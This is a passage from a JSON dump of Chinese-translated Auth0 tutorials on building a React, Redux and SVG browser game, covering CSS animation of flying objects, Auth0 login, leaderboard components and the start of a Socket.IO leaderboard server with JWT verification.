... other initial properties ...\n  flyingObjects: [],\n  lastObjectCreatedAt: new Date(),\n};\n\n// ... everything else ...\n```\n\n这样做之后，您需要做的就是在 `App` 组件的 `propTypes` 对象中添加 `flyingObjects`：\n\n```JavaScript\n// ... import statements ...\n\n// ... App component class ...\n\nApp.propTypes = {\n  // ... other propTypes definitions ...\n  gameState: PropTypes.shape({\n    // ... other propTypes definitions ...\n    flyingObjects: PropTypes.arrayOf(PropTypes.shape({\n      position: PropTypes.shape({\n        x: PropTypes.number.isRequired,\n        y: PropTypes.number.isRequired\n      }).isRequired,\n      id: PropTypes.number.isRequired,\n    })).isRequired,\n    // ... other propTypes definitions ...\n  }).isRequired,\n  // ... other propTypes definitions ...\n};\n\nexport default App;\n```\n\n接着让 `Canvas` 遍历这个属性，来显示新的飞碟。请确保使用如下代码替换 `FlyingObject` 组件的静态定位实例：\n\n```\n// ... import statements ...\n\nconst Canvas = (props) => {\n  // ... const definitions ...\n  return (\n    <svg ... >\n      // ... other SVG elements and React Components ...\n\n      {props.gameState.flyingObjects.map(flyingObject => (\n        <FlyingObject\n          key={flyingObject.id}\n          position={flyingObject.position}\n        />\n      ))}\n    </svg>\n  );\n};\n\nCanvas.propTypes = {\n  // ... other propTypes definitions ...\n  gameState: PropTypes.shape({\n    // ... other propTypes definitions ...\n    flyingObjects: PropTypes.arrayOf(PropTypes.shape({\n      position: PropTypes.shape({\n        x: PropTypes.number.isRequired,\n        y: PropTypes.number.isRequired\n      }).isRequired,\n      id: PropTypes.number.isRequired,\n    })).isRequired,\n  }).isRequired,\n  // ... other propTypes definitions ...\n};\n\nexport default Canvas;\n```\n\n就是这样！现在，在用户开始游戏时，您的应用程序将创建并随机显示飞碟。\n\n> **注意：** 如果您现在运行您的应用程序并点击 **Start Game** 按钮，您最终可能只看到一只飞碟。 这是因为没有什么能阻止飞碟出现在 X 轴相同的位置。在下一节中，您将使您的飞行物体沿着 Y 轴移动。这将确保您和您的用户能够看到所有的飞碟。\n\n### 使用 CSS 动画来移动飞碟\n\n有两种方式可以让您的飞碟移动。第一种显而易见的方式是使用 JavaScript 代码来改变他们的位置。尽管这种方法看起来很容易实现，但它事实上是行不通的，因为它会降低游戏的性能。\n\n第二种也是首选的方法是使用 CSS 动画。[这种方法的优点是它使用 GPU 对元素进行动画处理](https://www.smashingmagazine.com/2016/12/gpu-animation-doing-it-right/)，从而提高了应用程序的性能。\n\n您可能认为这种方法很难实现，但如您所见，事实却并非如此。最棘手的部分是，您将需要另一个 NPM 包来将  CSS 动画和 React 结合起来。也就是说，您需要安装 [`styled-components` 包](https://www.styled-components.com/)。\n\n> **“通过使用标记模板字面量（JavaScript 最新添加）和 CSS 的强大功能，styled-components 允许您使用原生的 CSS 代码定义您组件的样式。它也删除了 components 和 styles 之间的映射 —— 将组件用作低级样式构造是不容易的！”** —[`styled-components`](https://github.com/styled-components/styled-components)\n\n要安装这个 package，您需要停止您的 React 应用（即他已经启动和正在运行）并使用以下命令：\n\n```Bash\nnpm i styled-components\n```\n\n安装完以后，您可以使用下列代码替换 `FlyingObject` 组件（`./src/components/FlyingObject.jsx`）：\n\n```JavaScript\nimport React from 'react';\nimport PropTypes from 'prop-types';\nimport styled, { keyframes } from 'styled-components';\nimport FlyingObjectBase from './FlyingObjectBase';\nimport FlyingObjectTop from './FlyingObjectTop';\nimport { gameHeight } from '../utils/constants';\n\nconst moveVertically = keyframes`\n  0% {\n    transform: translateY(0);\n  }\n  100% {\n    transform: translateY(${gameHeight}px);\n  }\n`;\n\nconst Move = styled.g`\n  animation: ${moveVertically} 4s linear;\n`;\n\nconst FlyingObject = props => (\n  <Move>\n    <FlyingObjectBase position={props.position} />\n    <FlyingObjectTop position={props.position} />\n  </Move>\n);\n\nFlyingObject.propTypes = {\n  position: PropTypes.shape({\n    x: PropTypes.number.isRequired,\n    y: PropTypes.number.isRequired\n  }).isRequired,\n};\n\nexport default FlyingObject;\n```\n\n在这个新版本中，您已经将 `FlyingObjectBase` 和 `FlyingObjectTop` 组件放到新的组件 `Move` 里面。这个组件只是使用一个 `moveVertically` 变换来定义 SVG 的 `g` 元素的 `styled` 样式。为了学习更多关于变换的知识以及如何使用 `styled-components`，您可以在这里查阅 [官方文档](https://www.styled-components.com/docs/) 以及 [MDN 网站上的 **使用 CSS 动画**](https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations) 来学习这些知识。\n\n最后，为了替换纯的/不动的飞碟，您需要添加带有 transformation（一个 CSS 规则）的飞碟，它们将从起始位置（`transform: translateY(0);`）移动到游戏的底部（`transform: translateY(${gameHeight}px);`）。\n\n当然，您必须将 `gameHeight` 常量添加到 `./src/utils/constants.js` 文件中。另外，由于您需要更新该文件，所以您可以替换 `flyingObjectsStarterYAxis` 来使对象在用户看不到的位置启动。但现在的当前值却是飞碟刚好出现在可视区域的中央，这会令最终用户感到奇怪。\n\n为了更正它，您需要打开 `constants.js` 文件并进行如下更改：\n\n```JavaScript\n// keep other constants untouched ...\n\nexport const flyingObjectsStarterYAxis = -1100;\n\n// keep flyingObjectsStarterPositions untouched ...\n\nexport const gameHeight = 1200;\n```\n\n最后，你需要在 4 秒后消灭飞碟，这样新的飞碟将会出现并在画布中移动。为了实现这一点，您可以在 `./src/reducers/moveObjects.js` 文件中的代码进行如下更改：\n\n```JavaScript\nimport { calculateAngle } from '../utils/formulas';\nimport createFlyingObjects from './createFlyingObjects';\n\nfunction moveObjects(state, action) {\n  const mousePosition = action.mousePosition || {\n    x: 0,\n    y: 0,\n  };\n\n  const newState = createFlyingObjects(state);\n\n  const now = (new Date()).getTime();\n  const flyingObjects = newState.gameState.flyingObjects.filter(object => (\n    (now - object.createdAt) < 4000\n  ));\n\n  const { x, y } = mousePosition;\n  const angle = calculateAngle(0, 0, x, y);\n  return {\n    ...newState,\n    gameState: {\n      ...newState.gameState,\n      flyingObjects,\n    },\n    angle,\n  };\n}\n\nexport default moveObjects;\n```\n\n如您所见，我们为 `gameState` 对象的 `flyingObjects` 属性添加了新的代码过滤器，它移除了大于或等于 `4000`（4 秒）的对象。\n\n如果您现在重新启动您的应用程序（`npm start`）并点击 **Start Game** 按钮，您将看到飞碟在画布中自顶向上地移动。此外，您会注意到，游戏在创建新的飞碟之后，现有的飞碟都会移动到画布的底部。\n\n![Using CSS animation with React](https://cdn.auth0.com/blog/aliens-go-home/flying-objects-moving.png)\n\n> \"在 React 中使用 CSS 动画是很简单的，而且会提高您应用的性能。\"\n\n## 总结和下一步\n\n在本系列的第二部分中，您通过使用 React、Redux 和 SVG 创建了您游戏所需大部分元素。最后，您还使飞碟不同的位置随机出现，并利用 CSS 动画，使他们顺利飞行。\n\n[在本系列的下一篇也是最后一篇中](https://auth0.com/blog/developing-games-with-react-redux-and-svg-part-3/)，您将实现游戏剩余的功能。也就是说，您将实现：使用您的大炮消灭飞碟；控制您的用户的生命条；以及记录您的用户将会杀死多少只飞碟。您还将使用 [Auth0](https://auth0.com/)  和 [Socket.IO](https://socket.io/) 来实现实时排行榜。请继续关注！\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n\n\n"
  },
  {
    "path": "TODO1/developing-games-with-react-redux-and-svg-part-3.md",
    "content": "> * 原文地址：[Developing Games with React, Redux, and SVG - Part 3](https://auth0.com/blog/developing-games-with-react-redux-and-svg-part-3/)\n> * 原文作者：[Bruno Krebs](https://twitter.com/brunoskrebs)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/developing-games-with-react-redux-and-svg-part-3.md](https://github.com/xitu/gold-miner/blob/master/TODO1/developing-games-with-react-redux-and-svg-part-3.md)\n> * 译者：[xueshuai](https://github.com/xueshuai)\n> * 校对者：[jasonxia23](https://github.com/jasonxia23) [smileforward123](https://github.com/smileforward123)\n\n# 使用 React, Redux, and SVG 开发游戏 - 第 3 部分\n\n**提示：** 在这个系列中，你将学习如何使用 React 和 Redux 控制一堆 SVG 元素来创建一个游戏。这个系列所需要的知识同样也可以使你创建使用 React 和 Redux 的其他类型的动画，而不只是游戏。你能够在下面的 GitHub 仓库中找到文章中开发的最终代码：[Aliens Go Home - 第 3 部分](https://github.com/auth0-blog/aliens-go-home-part-3)\n\n* * *\n\n## React 游戏：Aliens, Go Home!\n\n在这个教程中你开发的游戏叫做 _Aliens, Go Home!_ 这个游戏的想法很简单，你有一门大炮，你将必须杀掉尝试入侵地球的飞行物体。要杀掉这些飞行的物体，你将必须标示和点击 SVG canvas 来使你的大炮发射。\n\n如果你有些疑惑，你可以发现[完成了的游戏并在这里运行它](http://bang-bang.digituz.com.br/)。但是不要玩的太多，你还有工作必须做。\n\n> “我正在用 React，Redux 和 SVG元素\n\n创建一个游戏。”\n\n## 之前，在第一部分和第二部分\n\n在[这个系列的第一部分](https://auth0.com/blog/developing-games-with-react-redux-and-svg-part-1/)，你已经使用 [`create-react-app`](https://github.com/facebookincubator/create-react-app) 来启动你的 React 应用，你已经安装和配置了 Redux 来管理游戏的状态。之后，在创建游戏的元素时，例如  `Sky`， `Ground`， `CannonBase` 和 `CannonPipe`, 你已经学习了如何在 React 组件中使用 SVG。最终，你通过使用事件监听方法给你的大炮添加动画效果和一个 [JavaScript interval](https://www.w3schools.com/jsref/met_win_setinterval.asp) 来触发 Redux 的 _action_ 更新 `CannonBase` 的角度。\n\n这些为你提供了理解如何使用React,Redux和SVG来创建你的游戏（和其他动画）的方法。\n\n在 [第二部分](https://auth0.com/blog/developing-games-with-react-redux-and-svg-part-2/)，你已经创建了游戏中其他的必须元素（例如 `Heart`， `FlyingObject` 和 `CannonBall`），使你的玩家能够开始游戏，并使用 CSS 动画让飞行物体飞起来（这就是他们应该做的事，对么？）。\n\n就算是我们有了这些非常好的特性，但是他们还没有构成一个完整的游戏。你仍然需要使你的大炮发射炮弹，并完成一个算法来检测飞行物体和炮弹的碰撞。除此之外，你必须在你的玩家杀死外星人的时候，增加 `CurrentScore`。\n\n杀死外星人和看到当前分数的增长很酷，但是你可能会使这个游戏更有吸引力。。这就是为什么你要在你的游戏中增加一个排行榜特性。这将会使你的玩家花费更多的时间来达到排行榜的高位。\n\n\n有了这些特性，你可以说你有了一个完整的游戏。所以，为了节约时间，是时候关注他们了。\n\n> **提示：** 如果（无论是什么原因）你没有 [前面两部分](https://auth0.com/blog/developing-games-with-react-redux-and-svg-part-2/) 创建的代码，你可以从 [这个 GitHub 仓库](https://github.com/auth0-blog/aliens-go-home-part-2) 克隆他们。克隆之后，你能够继续跟随接下来板块中的指示。\n\n## 在你的 React 游戏里实现排行榜特性\n\n第一件你要做的使你的游戏看起来更像一个真正的游戏的事情就是实现排行榜特性。这个特性将使玩家能够登陆，所以你的游戏能够跟踪他们的最高分数和他们的排名。\n\n## 整合 React 和 Auth0\n\n要使 Auth0 管理你的玩家的身份，你必须有一个 Auth0 账户。如果你还没有，你可以 [在这里 **注册一个免费 Auth0 账户**](https://auth0.com/signup)。\n\n注册完你的账户之后，你只需要创建一个  [Auth0 应用](https://auth0.com/docs/applications) 来代表你的游戏。要做这个，前往 [Auth0 的仪表盘中的 Application 页面](https://manage.auth0.com/#/applications) ，然后点击 _Create Application_ 按钮。仪表盘将会给你展示一个表单，你必须输入你的应用的 _name_ 和 _type_ 。你能输入 _Aliens, Go Home!_ 作为名字，并选择  _Single Page Web Application_ 作为类型（毕竟你的游戏是基于 React 的 SPA）。然后，你可以点击  _Create_。\n\n![创建 Auth0 应用来代表你的游戏。](https://cdn.auth0.com/blog/aliens-go-home/creating-the-auth0-client-for-your-react-game.png)\n\n当你点击这个按钮，仪表盘将会把你重定向到你的新应用的 _Quick Start_ 标签页。正如你将在这篇文章中学习如何整合 React 和 Auth0，你不需要使用这个标签页。取而代之的，你将需要使用 _Settings_ 标签页，所以我们前往这个页面。\n\n这里有三件事你需要在这个标签页做。第一件是添加 `http://localhost:3000` 到名为 _Allowed Callback URLs_ 的字段。正如仪表盘解释的， _在你的玩家认证之后, Auth0 只会回跳到这个字段 URLs 中的一个_ 。所以，如果你想在网络上发布你的游戏，不要忘了在那里同样加入你的外网 URL （例如 `http://aliens-go-home.digituz.com.br`）。\n\n在这个字段输入你所有的 URLs 之后，点击 _Save_ 按钮或者按下 `ctrl` + `s` （如果你是用的是 MacBook，你需要按下 `command` + `s`）。\n\n你需要做的最后两件事是复制 _Domain_ 和 _Client ID_ 字段的值。不管怎样，在你使用这些值之前，你需要敲一些代码。\n\n对于初学者，你将需要在你游戏的根目录下输入以下命令来安装 `auth0-web` 包：\n\n```\nnpm i auth0-web\n```\n\n正如你将看到的，这个包将有助于整合 Auth0 和 SPAs。\n\n下一步是在你的游戏中增加一个登陆按钮，使你的玩家能够通过 Auth0\\ 认证。完成这个，要在 `./src/components` 目录下创建一个名为 `Login.jsx` 的文件，加入以下的代码：\n\n```\nimport React from 'react';\nimport PropTypes from 'prop-types';\n\nconst Login = (props) => {\n  const button = {\n    x: -300, // half width\n    y: -600, // minus means up (above 0)\n    width: 600,\n    height: 300,\n    style: {\n      fill: 'transparent',\n      cursor: 'pointer',\n    },\n    onClick: props.authenticate,\n  };\n\n  const text = {\n    textAnchor: 'middle', // center\n    x: 0, // center relative to X axis\n    y: -440, // 440 up\n    style: {\n      fontFamily: '\"Joti One\", cursive',\n      fontSize: 45,\n      fill: '#e3e3e3',\n      cursor: 'pointer',\n    },\n    onClick: props.authenticate,\n  };\n\n  return (\n    <g filter=\"url(#shadow)\">\n      <rect {...button} />\n      <text {...text}>\n        Login to participate!\n      </text>\n    </g>\n  );\n};\n\nLogin.propTypes = {\n  authenticate: PropTypes.func.isRequired,\n};\n\nexport default Login;\n```\n\n你刚刚创建的组件当被点击的时候会做什么是不可知的。你需要在把它加入 `Canvas` 组件的时候定义它的操作。所以，打开 `Canvas.jsx` 文件，参照下面更新它：\n\n```\n// ... other import statements\nimport Login from './Login';\nimport { signIn } from 'auth0-web';\n\nconst Canvas = (props) => {\n  // ... const definitions\n  return (\n    <svg ...>\n      // ... other elements\n\n      { ! props.gameState.started &&\n      <g>\n        // ... StartGame and Title components\n        <Login authenticate={signIn} />\n      </g>\n      }\n\n      // ... flyingObjects.map\n    </svg>\n  );\n};\n// ... propTypes definition and export statement\n```\n\n正如你看见的，在这个新版本里，你已经引入了 `Login` 组件和 `auth0-web` 包里的 `signIn` 方法。然后，你已经把你的新组件加入到了代码块中，只在玩家没有开始游戏的时候出现。同样的，你已经预料到，当点击的时候，登陆按钮一定会触发 `signIn` 方法。\n\n当这些变化发生的时候，最后一件你必须做的事是在你的 Auth0 应用的属性中配置 `auth0-web`。要做这件事，需要打开 `App.js` 文件并按照下面更新它：\n\n```\n// ... other import statements\nimport * as Auth0 from 'auth0-web';\n\nAuth0.configure({\n  domain: 'YOUR_AUTH0_DOMAIN',\n  clientID: 'YOUR_AUTH0_CLIENT_ID',\n  redirectUri: 'http://localhost:3000/',\n  responseType: 'token id_token',\n  scope: 'openid profile manage:points',\n});\n\nclass App extends Component {\n  // ... constructor definition\n\n  componentDidMount() {\n    const self = this;\n\n    Auth0.handleAuthCallback();\n\n    Auth0.subscribe((auth) => {\n      console.log(auth);\n    });\n\n    // ... setInterval and onresize\n  }\n\n  // ... trackMouse and render functions\n}\n\n// ... propTypes definition and export statement\n```\n\n> **提示：** 你必须使用从你的 Auth0 应用中复制的 _Domain_ 和 _Client ID_ 字段的值来替换`YOUR_AUTH0_DOMAIN` 和 `YOUR_AUTH0_CLIENT_ID`。除此之外，当你在网络上发布你的游戏的时候，你同样需要替换 `redirectUri` 的值。\n\n这个文件里的增强的点十分简单。这个列表总结了他们：\n\n1.  `configure`：你使用这个函数，协同你的 Auth0 应用的属性，来配置 `auth0-web` 包。\n2.  `handleAuthCallback`：你在 [`componentDidMount` 生命周期的钩子函数](https://reactjs.org/docs/react-component.html#componentdidmount) 触发这个方法，来检测用户是否是经过 Auth0 认证的。这个方法只是尝试从 URL 抓取 tokens，并且如果成功，抓取用户的文档并把所有的信息存储到 `localstorage`。\n3.  `subscribe`：你使用这个方法来记录玩家是否是经过认证的（`true` 代表认证过，否则 `false`）。\n\n就是这样，你的游戏已经 [使用 Auth0 作为它的身份管理服务](https://auth0.com/learn/cloud-identity-access-management/)。如果你现在启动你的应用（`npm start`）并且在你的浏览器中浏览 ([`http://localhost:3000`](http://localhost:3000))，你讲看到登陆按钮。点击它，它会把你重定向到 [Auth0 登陆页面](https://auth0.com/docs/hosted-pages/login)，在这里你可以登陆。\n\n当你完成了流程中的注册，Auth0 会再一次把你重定向到你的游戏，`handleAuthCallback` 方法将会抓去你的 tokens。然后，正如你已经告诉你的应用 `console.log` 所有的认证状态的变化，你将能够看到它在你的浏览器控制台打印了 `true`。\n\n![在你的 React 和 Redux 游戏中展示登陆按钮](https://cdn.auth0.com/blog/aliens-go-home/showing-the-login-button-in-your-react-game.png)\n\n> “使用 Auth0 来保护你的游戏是简单和痛苦小的。”\n\n## 创建 Leaderboard React 组件\n\n现在你已经配置了 Auth0 作为你的身份管理系统，你将需要创建展示排行榜和当前玩家最大分数的组件。为此，你将创建两个组件：`Leaderboard` 和 `Rank`。你将需要将这个特性拆分成两个组件，因为正如你所看到的，友好的展示玩家的数据（比如最大分数，姓名，位置和图片）并不是简单的事。其实也并不困难，但是你需要编写一些好的代码。所以，把所有的东西加到一个组件之中会看起来很笨拙。\n\n正如你的游戏还没有任何玩家，第一件事你需要做的就是定义一些 mock 数据来填充排行榜。做这件事最好的地方就是在 `Canvas` 组件中。同样，因为你正要去更新你的 canvas，你能够继续深入，使用 `Leaderboard` 替换 `Login` 组件（你一会儿将在 `Leaderboard` 中加入 `Login`）：\n\n```\n// ... other import statements\n// replace Login with the following line\nimport Leaderboard from './Leaderboard';\n\nconst Canvas = (props) => {\n  // ... const definitions\n  const leaderboard = [\n    { id: 'd4', maxScore: 82, name: 'Ado Kukic', picture: 'https://twitter.com/KukicAdo/profile_image', },\n    { id: 'a1', maxScore: 235, name: 'Bruno Krebs', picture: 'https://twitter.com/brunoskrebs/profile_image', },\n    { id: 'c3', maxScore: 99, name: 'Diego Poza', picture: 'https://twitter.com/diegopoza/profile_image', },\n    { id: 'b2', maxScore: 129, name: 'Jeana Tahnk', picture: 'https://twitter.com/jeanatahnk/profile_image', },\n    { id: 'e5', maxScore: 34, name: 'Jenny Obrien', picture: 'https://twitter.com/jenny_obrien/profile_image', },\n    { id: 'f6', maxScore: 153, name: 'Kim Maida', picture: 'https://twitter.com/KimMaida/profile_image', },\n    { id: 'g7', maxScore: 55, name: 'Luke Oliff', picture: 'https://twitter.com/mroliff/profile_image', },\n    { id: 'h8', maxScore: 146, name: 'Sebastián Peyrott', picture: 'https://twitter.com/speyrott/profile_image', },\n  ];\n  return (\n    <svg ...>\n      // ... other elements\n\n      { ! props.gameState.started &&\n      <g>\n        // ... StartGame and Title\n        <Leaderboard currentPlayer={leaderboard[6]} authenticate={signIn} leaderboard={leaderboard} />\n      </g>\n      }\n\n      // ... flyingObjects.map\n    </svg>\n  );\n};\n\n// ... propTypes definition and export statement\n```\n\n在这个文件的新版本中，你定义一个存储假玩家的叫做 `leaderboard` 的数组常量。这些玩家有以下属性：`id`、`maxScore`、`name` 和 `picture`。然后，在 `svg` 元素中，你增加具有以下参数的 `Leaderboard` 组件：\n\n*   `currentPlayer`: 这个定义了当前玩家的身份。现在，你正在使用之前定义的假玩家中的一个，所以你能够看到每一件事是怎么工作的。传递这个参数的目的是使你的排行榜高亮当前玩家。\n*   `authenticate`: 这个和你加入到之前版本的 `Login` 组件中的参数是一样的。\n*   `leaderboard`: 这个是家玩家的数组列表。你的排行榜将会使用这个来展示当前的排行。\n\n现在，你必须定义 `Leaderboard` 组件。要做这个，需要在 `./src/components` 目录下创建一个名为 `Leaderboard.jsx` 的新文件，并且加入如下代码：\n\n```\nimport React from 'react';\nimport PropTypes from 'prop-types';\nimport Login from './Login';\nimport Rank from \"./Rank\";\n\nconst Leaderboard = (props) => {\n  const style = {\n    fill: 'transparent',\n    stroke: 'black',\n    strokeDasharray: '15',\n  };\n\n  const leaderboardTitle = {\n    fontFamily: '\"Joti One\", cursive',\n    fontSize: 50,\n    fill: '#88da85',\n    cursor: 'default',\n  };\n\n  let leaderboard = props.leaderboard || [];\n  leaderboard = leaderboard.sort((prev, next) => {\n    if (prev.maxScore === next.maxScore) {\n      return prev.name <= next.name ? 1 : -1;\n    }\n    return prev.maxScore < next.maxScore ? 1 : -1;\n  }).map((member, index) => ({\n    ...member,\n    rank: index + 1,\n    currentPlayer: member.id === props.currentPlayer.id,\n  })).filter((member, index) => {\n    if (index < 3 || member.id === props.currentPlayer.id) return member;\n    return null;\n  });\n\n  return (\n    <g>\n      <text filter=\"url(#shadow)\" style={leaderboardTitle} x=\"-150\" y=\"-630\">Leaderboard</text>\n      <rect style={style} x=\"-350\" y=\"-600\" width=\"700\" height=\"330\" />\n      {\n        props.currentPlayer && leaderboard.map((player, idx) => {\n          const position = {\n            x: -100,\n            y: -530 + (70 * idx)\n          };\n          return <Rank key={player.id} player={player} position={position}/>\n        })\n      }\n      {\n        ! props.currentPlayer && <Login authenticate={props.authenticate} />\n      }\n    </g>\n  );\n};\n\nLeaderboard.propTypes = {\n  currentPlayer: PropTypes.shape({\n    id: PropTypes.string.isRequired,\n    maxScore: PropTypes.number.isRequired,\n    name: PropTypes.string.isRequired,\n    picture: PropTypes.string.isRequired,\n  }),\n  authenticate: PropTypes.func.isRequired,\n  leaderboard: PropTypes.arrayOf(PropTypes.shape({\n    id: PropTypes.string.isRequired,\n    maxScore: PropTypes.number.isRequired,\n    name: PropTypes.string.isRequired,\n    picture: PropTypes.string.isRequired,\n    ranking: PropTypes.number,\n  })),\n};\n\nLeaderboard.defaultProps = {\n  currentPlayer: null,\n  leaderboard: null,\n};\n\nexport default Leaderboard;\n```\n\n不要害怕！这个组件的代码非常简单：\n\n1. 你定义常量 `leaderboardTitle` 来设置你的排行榜标题是什么样的。\n2. 你定义常量 `dashedRectangle` 来设置作为你的排行榜容器的 `rect` 元素的样式。\n3. 你调用 `props.leaderboard` 变量的 `sort` 方法来排序。之后，你的排行榜就会使最高分在上面，最低分在下面。同样，如果有两个玩家打平手，你根据姓名将他们排序。\n4. 你在上一步（`sort` 方法）的结果上调用 `map` 方法，使用他们的 `rank` 和 具有 `currentPlayer` 的标志来补充玩家信息。你将使用这个标志来高亮当前玩家出现的行。\n5. 你在上一步（`map` 方法）的结果上调用 `filter` 方法来删除每一个不在前三名玩家的人。事实上，如果当前玩家不属于这个筛选组，你要使当前玩家保留在最终的数组里。\n6. 最后，如果有一个用户登陆（`props.currentPlayer && leaderboard.map`）或者正在展示 `Login` 按钮，你遍历过滤过得数组来展示 `Rank` 元素。\n\n最后一件你需要做的事就是创建 `Rank` React 组件。要完成这个，创建一个名为 `Rank.jsx` 新文件，同时包括具有以下代码的 `Leaderboard.jsx` 文件：\n\n```\nimport React from 'react';\nimport PropTypes from 'prop-types';\n\nconst Rank = (props) => {\n  const { x, y } = props.position;\n\n  const rectId = 'rect' + props.player.rank;\n  const clipId = 'clip' + props.player.rank;\n\n  const pictureStyle = {\n    height: 60,\n    width: 60,\n  };\n\n  const textStyle = {\n    fontFamily: '\"Joti One\", cursive',\n    fontSize: 35,\n    fill: '#e3e3e3',\n    cursor: 'default',\n  };\n\n  if (props.player.currentPlayer) textStyle.fill = '#e9ea64';\n\n  const pictureProperties = {\n    style: pictureStyle,\n    x: x - 140,\n    y: y - 40,\n    href: props.player.picture,\n    clipPath: `url(#${clipId})`,\n  };\n\n  const frameProperties = {\n    width: 55,\n    height: 55,\n    rx: 30,\n    x: pictureProperties.x,\n    y: pictureProperties.y,\n  };\n\n  return (\n    <g>\n      <defs>\n        <rect id={rectId} {...frameProperties} />\n        <clipPath id={clipId}>\n          <use xlinkHref={'#' + rectId} />\n        </clipPath>\n      </defs>\n      <use xlinkHref={'#' + rectId} strokeWidth=\"2\" stroke=\"black\" />\n      <text filter=\"url(#shadow)\" style={textStyle} x={x - 200} y={y}>{props.player.rank}º</text>\n      <image {...pictureProperties} />\n      <text filter=\"url(#shadow)\" style={textStyle} x={x - 60} y={y}>{props.player.name}</text>\n      <text filter=\"url(#shadow)\" style={textStyle} x={x + 350} y={y}>{props.player.maxScore}</text>\n    </g>\n  );\n};\n\nRank.propTypes = {\n  player: PropTypes.shape({\n    id: PropTypes.string.isRequired,\n    maxScore: PropTypes.number.isRequired,\n    name: PropTypes.string.isRequired,\n    picture: PropTypes.string.isRequired,\n    rank: PropTypes.number.isRequired,\n    currentPlayer: PropTypes.bool.isRequired,\n  }).isRequired,\n  position: PropTypes.shape({\n    x: PropTypes.number.isRequired,\n    y: PropTypes.number.isRequired\n  }).isRequired,\n};\n\nexport default Rank;\n```\n\n这个代码同样没有什么可怕的。唯一不平常的事就是你加入到这个组件的是 [`clipPath` 元素](https://developer.mozilla.org/en-US/docs/Web/SVG/Element/clipPath) 和一个在 `defs` 元素中的 `rect` 元素来创建一个圆的肖像。\n\n有了这些新文件，你能够前往你的应用（[`http://localhost:3000/`](http://localhost:3000/)）来看看你的新排行榜特性。\n\n![在你的 React 游戏中展示排行榜](https://cdn.auth0.com/blog/aliens-go-home/showing-the-leaderboard-in-your-react-game.png)\n\n## 使用 Socket.IO 开发一个实时排行榜\n\n帅气，你已经使用 Auth0 作为你的身份管理服务，并且你也创建了需要展示排行榜的组件。之后，你需要做什么？对了，你需要一个能出发实时事件的后端来更新排行榜。\n\n这可能使你想到：开发一个实时后端服务器困难么？不，不困难。使用 [Socket.IO](https://socket.io/)，你可以在很短的时间实现这个特性。不管怎样，在深入之前，你可能想要好糊这个后端服务，对不对？要做这个，你需要创建一个 [Auth0 API](https://auth0.com/docs/apis) 来代表你的服务。\n\n这样做很简单。前往 [你的 Auth0 仪表盘的 APIs 页面](https://manage.auth0.com/#/apis) 并且点击  _Create API_ 按钮，Auth0 会想你展示一个有三个信息需要填的表单：\n\n1. API的 _Name_ ：这里，你仅仅需要声明一个友好的名字使你不至于忘掉这个 API 代表的什么。所以，在这个区域输入 _Aliens, Go Home!_ 就好啦。\n2. API的 _Identifier_ ：这里建议的值是你游戏的最终 URL，但是事实上这可以是任何东西，虽然这样，在这里输入 `https://aliens-go-home.digituz.com.br`。\n3. _Signing Algorithm_ ：这里有两个选项， _RS256_ 和 _HS256_ 。你最好不要修改这个字段（例如，保持 _RS256_）。你过你想要学习他们之间的不同，查看 [这个答案](https://community.auth0.com/answers/6945/view)。\n\n![为 Socket.IO 实时服务创建 Auth0 API](https://cdn.auth0.com/blog/aliens-go-home/creating-the-auth0-api-for-the-socket-io-server.png)\n\n在你填完这个表单后，点击  _Create_ 按钮。会将你重定向到你的新 API 中叫做  _Quick Start_ 的标签页。在那里，点击 _Scopes_ 标签并且添加叫做 `manage:points` 的新作用域，他有以下的描述：“读和写最大的分数”。[在 Auth0 APIs 上定义作用域是很好的实践](https://auth0.com/docs/scopes/current#api-scopes)\n\n\n添加完这个作用域之后，你能够继续编程。来完成你的实时排行榜服务，按照下面的做：\n\n```\n# 在项目根目录创建一个服务目录\nmkdir server\n\n# 进入服务目录\ncd server\n\n# 作为一个 NPM 项目启动它\nnpm init -y\n\n# 安装一些依赖\nnpm i express jsonwebtoken jwks-rsa socket.io socketio-jwt\n\n# 创建一个保存服务器源代码的文件\ntouch index.js\n```\n\n然后，在这个新文件中，添加以下代码：\n\n```\nconst app = require('express')();\nconst http = require('http').Server(app);\nconst io = require('socket.io')(http);\nconst jwt = require('jsonwebtoken');\nconst jwksClient = require('jwks-rsa');\n\nconst client = jwksClient({\n  jwksUri: 'https://YOUR_AUTH0_DOMAIN/.well-known/jwks.json'\n});\n\nconst players = [\n  { id: 'a1', maxScore: 235, name: 'Bruno Krebs', picture: 'https://twitter.com/brunoskrebs/profile_image', },\n  { id: 'c3', maxScore: 99, name: 'Diego Poza', picture: 'https://twitter.com/diegopoza/profile_image', },\n  { id: 'b2', maxScore: 129, name: 'Jeana Tahnk', picture: 'https://twitter.com/jeanatahnk/profile_image', },\n  { id: 'f6', maxScore: 153, name: 'Kim Maida', picture: 'https://twitter.com/KimMaida/profile_image', },\n  { id: 'e5', maxScore: 55, name: 'Luke Oliff', picture: 'https://twitter.com/mroliff/profile_image', },\n  { id: 'd4', maxScore: 146, name: 'Sebastián Peyrott', picture: 'https://twitter.com/speyrott/profile_image', },\n];\n\nconst verifyPlayer = (token, cb) => {\n  const uncheckedToken = jwt.decode(token, {complete: true});\n  const kid = uncheckedToken.header.kid;\n\n  client.getSigningKey(kid, (err, key) => {\n    const signingKey = key.publicKey || key.rsaPublicKey;\n\n    jwt.verify(token, signingKey, cb);\n  });\n};\n\nconst newMaxScoreHandler = (payload) => {\n  let foundPlayer = false;\n  players.forEach((player) => {\n    if (player.id === payload.id) {\n      foundPlayer = true;\n      player.maxScore = Math.max(player.maxScore, payload.maxScore);\n    }\n  });\n\n  if (!foundPlayer) {\n    players.push(payload);\n  }\n\n  